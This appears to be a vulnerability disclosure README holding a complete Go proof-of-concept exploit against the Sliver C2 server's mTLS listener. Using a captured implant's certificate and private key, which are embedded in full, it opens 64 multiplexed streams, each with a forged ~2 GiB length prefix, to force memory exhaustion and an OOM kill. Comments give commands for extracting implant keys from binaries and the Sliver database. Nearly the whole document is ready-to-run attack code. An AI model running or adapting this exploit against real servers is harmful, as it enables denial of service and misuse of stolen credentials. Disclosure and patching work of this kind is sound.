README.md
Rendering markdown...
/*
* Author: Skove (Anas)
* Sliver - OOM "Kill-Switch" via Length-Prefix Abuse (CWE-789 / CWE-400)
* Vulnerability: Uncontrolled Memory Allocation in socketReadEnvelope
* Impact: Full Process OOM-Kill (SIGKILL) of Sliver Server + potential OS instability
*
* Root Cause (server/c2/mtls.go:323-380):
* socketReadEnvelope() allocates a buffer up to ServerMaxMessageSize (~2 GiB)
* based on an attacker-controlled uint32 length prefix BEFORE verifying the
* Ed25519 envelope signature. With yamux concurrency (128 streams), a single
* mTLS connection can trigger 128 × 2 GiB = 256 GiB of allocations.
*
* This PoC demonstrates how an attacker with a captured implant binary can
* exhaust all server memory, causing the Linux OOM killer to terminate the
* sliver-server process (and potentially other processes on the same host).
*
* Replace c2Endpoint, clientCertPEM, clientKeyPEM with values from a valid implant.
*
* Usage: go run mtls_oom_poc.go
*/
package main
import (
"crypto/tls"
"encoding/binary"
"fmt"
"log"
"sync"
"sync/atomic"
"time"
"github.com/hashicorp/yamux"
)
var (
c2Endpoint = "192.168.1.6:7070"
// The mTLS certificate and key extracted from a captured implant binary.
// RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12
clientCertPEM = []byte(`-----BEGIN CERTIFICATE-----
MIIBpDCCASqgAwIBAgIQGYBIy0Yp2AuqhgBbpqaz5TAKBggqhkjOPQQDAzAAMB4X
DTI1MTAwOTE5NDM0NFoXDTI3MTAwOTE5NDM0NFowITEfMB0GA1UEAwwWQ09OVEVN
UE9SQVJZX1RPTEVSQU5DRTB2MBAGByqGSM49AgEGBSuBBAAiA2IABFhzyVknVtsU
ZT3gpSEZPwA4oTwX6m4PAvISpPv/d+Y28WugFEKf4uaYjgAXWu0pWpOkgrMyw2B5
NbbTsLqshTVNoI5ylEbMdWG6lm/+0Fi07BkqoJ4xyviFbEDhrBAfZKNIMEYwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFChl
jGbs2zREbd70jJCDY5S62hg7MAoGCCqGSM49BAMDA2gAMGUCMEnZUmui+2RIYYxE
ew5/4U2MhJQcGDvbPOEWvQaaaFrraV+0TetaEYaXzf1Y9JuENwIxANl4X+rA98qs
FLrhoittGVxbqdECSozROTDgBCAEVQsE6Djp4sEaX+hliYk6dmXFPA==
-----END CERTIFICATE-----`)
// RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/'
// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY-----
MIGkAgEBBDDgHrkkmB4p07051bJXphHvLukPElt1YDaSyeGSt0fqBpY1lp/ZAY/c
LHlzbYLeLz6gBwYFK4EEACKhZANiAARYc8lZJ1bbFGU94KUhGT8AOKE8F+puDwLy
EqT7/3fmNvFroBRCn+LmmI4AF1rtKVqTpIKzMsNgeTW207C6rIU1TaCOcpRGzHVh
upZv/tBYtOwZKqCeMcr4hWxA4awQH2Q=
-----END EC PRIVATE KEY-----`)
)
const (
YamuxPreface = "MUX/1"
// RawSigSize is the fixed-length Ed25519 signature prepended to each envelope.
// 2 bytes algorithm + 8 bytes key ID + 64 bytes signature = 74 bytes
RawSigSize = 74
// ServerMaxMessageSize from server/c2/mtls.go:55
// The server accepts any length up to this value BEFORE checking the signature.
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 // 2,147,483,647 bytes (~2 GiB)
// Number of concurrent yamux streams to open.
// The server allows up to 128 (mtlsYamuxMaxConcurrentStreams).
// Each stream triggers a separate ~2 GiB allocation.
NumStreams = 64 // 64 × 2 GiB = 128 GiB
)
func main() {
// STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS)
fmt.Println("[*] Loading extracted Implant certificates...")
cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM)
if err != nil {
log.Fatalf("[-] Failed to load client cert: %v", err)
}
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true,
}
fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint)
conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig)
if err != nil {
log.Fatalf("[-] TLS Connection failed: %v", err)
}
defer conn.Close()
fmt.Println("[+] mTLS handshake successful!")
// STAGE 2: INITIATE YAMUX MULTIPLEXING
fmt.Println("[*] Sending Yamux preface...")
if _, err := conn.Write([]byte(YamuxPreface)); err != nil {
log.Fatalf("[-] Failed to send Yamux preface: %v", err)
}
session, err := yamux.Client(conn, nil)
if err != nil {
log.Fatalf("[-] Failed to create Yamux session: %v", err)
}
defer session.Close()
fmt.Println("[+] Yamux session established!")
// STAGE 3: TRIGGER OOM VIA CONCURRENT LENGTH-PREFIX ABUSE
//
// Attack flow per stream:
// 1. Write a fake 74-byte "signature" (all zeros — doesn't matter,
// the server reads it but checks it AFTER the allocation)
// 2. Write a 4-byte little-endian uint32 length prefix = 0x7FFFFFFF
// (2,147,483,647 bytes = ~2 GiB)
// 3. The server calls make([]byte, 2147483647) — ALLOCATION HAPPENS
// 4. The server then calls io.ReadFull() waiting for ~2 GiB of data
// 5. We DON'T send any data — the connection just hangs.
// The 2 GiB buffer sits allocated in memory.
// 6. Repeat on N concurrent streams → N × 2 GiB memory consumed.
//
// The signature verification (ed25519.Verify) at mtls.go:368 never
// executes because io.ReadFull at mtls.go:351 blocks forever.
// The memory is allocated and held indefinitely.
//
fmt.Printf("[*] Opening %d concurrent yamux streams...\n", NumStreams)
fmt.Printf("[*] Each stream will trigger a ~2 GiB allocation on the server\n")
fmt.Printf("[*] Total target allocation: ~%d GiB\n", NumStreams*2)
fmt.Println()
// Fake signature buffer (74 bytes of zeros).
// Content doesn't matter — the server reads it into rawSigBuf but
// doesn't validate it until AFTER the giant allocation + io.ReadFull.
fakeSig := make([]byte, RawSigSize)
// Length prefix: request the maximum allocation size.
lengthBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lengthBuf, uint32(ServerMaxMessageSize))
var wg sync.WaitGroup
var successCount atomic.Int32
var failCount atomic.Int32
startTime := time.Now()
for i := 0; i < NumStreams; i++ {
wg.Add(1)
go func(streamNum int) {
defer wg.Done()
stream, err := session.Open()
if err != nil {
fmt.Printf(" [-] Stream %d: failed to open: %v\n", streamNum, err)
failCount.Add(1)
return
}
// NOTE: We intentionally do NOT close the stream or defer stream.Close().
// Keeping the stream open holds the server in io.ReadFull(),
// which keeps the 2 GiB buffer allocated in memory.
// Step 1: Send fake signature (74 bytes)
if _, err := stream.Write(fakeSig); err != nil {
fmt.Printf(" [-] Stream %d: failed to write sig: %v\n", streamNum, err)
failCount.Add(1)
return
}
// Step 2: Send length prefix (request ~2 GiB allocation)
if _, err := stream.Write(lengthBuf); err != nil {
fmt.Printf(" [-] Stream %d: failed to write length: %v\n", streamNum, err)
failCount.Add(1)
return
}
// Step 3: DON'T send any data. The server is now:
// - Holding a 2 GiB buffer (make([]byte, 2147483647))
// - Blocked in io.ReadFull() waiting for data that will never arrive
// - The buffer will remain allocated until the stream is closed
current := successCount.Add(1)
fmt.Printf(" [+] Stream %d: triggered ~2 GiB allocation (%d/%d active)\n",
streamNum, current, NumStreams)
}(i)
// Small delay between stream opens to avoid overwhelming yamux
time.Sleep(50 * time.Millisecond)
}
wg.Wait()
elapsed := time.Since(startTime)
fmt.Println()
fmt.Println("═══════════════════════════════════════════════════════════════")
fmt.Printf("[+] Attack complete in %v\n", elapsed.Round(time.Millisecond))
fmt.Printf("[+] Successful streams: %d\n", successCount.Load())
fmt.Printf("[+] Failed streams: %d\n", failCount.Load())
fmt.Printf("[+] Estimated server memory consumed: ~%d GiB\n", successCount.Load()*2)
fmt.Println()
fmt.Println("[*] The server is now holding all allocated buffers in memory.")
fmt.Println("[*] The Linux OOM killer should terminate the sliver-server process.")
fmt.Println("[*] Unlike a panic crash, OOM kills leave no clean stack trace.")
fmt.Println()
fmt.Println("[*] Check server status: systemctl status sliver")
fmt.Println("[*] Check OOM logs: sudo dmesg | grep -i 'killed'")
fmt.Println("if not, run the poc again")
fmt.Println("═══════════════════════════════════════════════════════════════")
// Keep the connection alive to maintain the allocations.
// The server will be OOM-killed while we wait.
fmt.Println()
fmt.Println("[*] Holding connections open... Press Ctrl+C to exit.")
select {}
}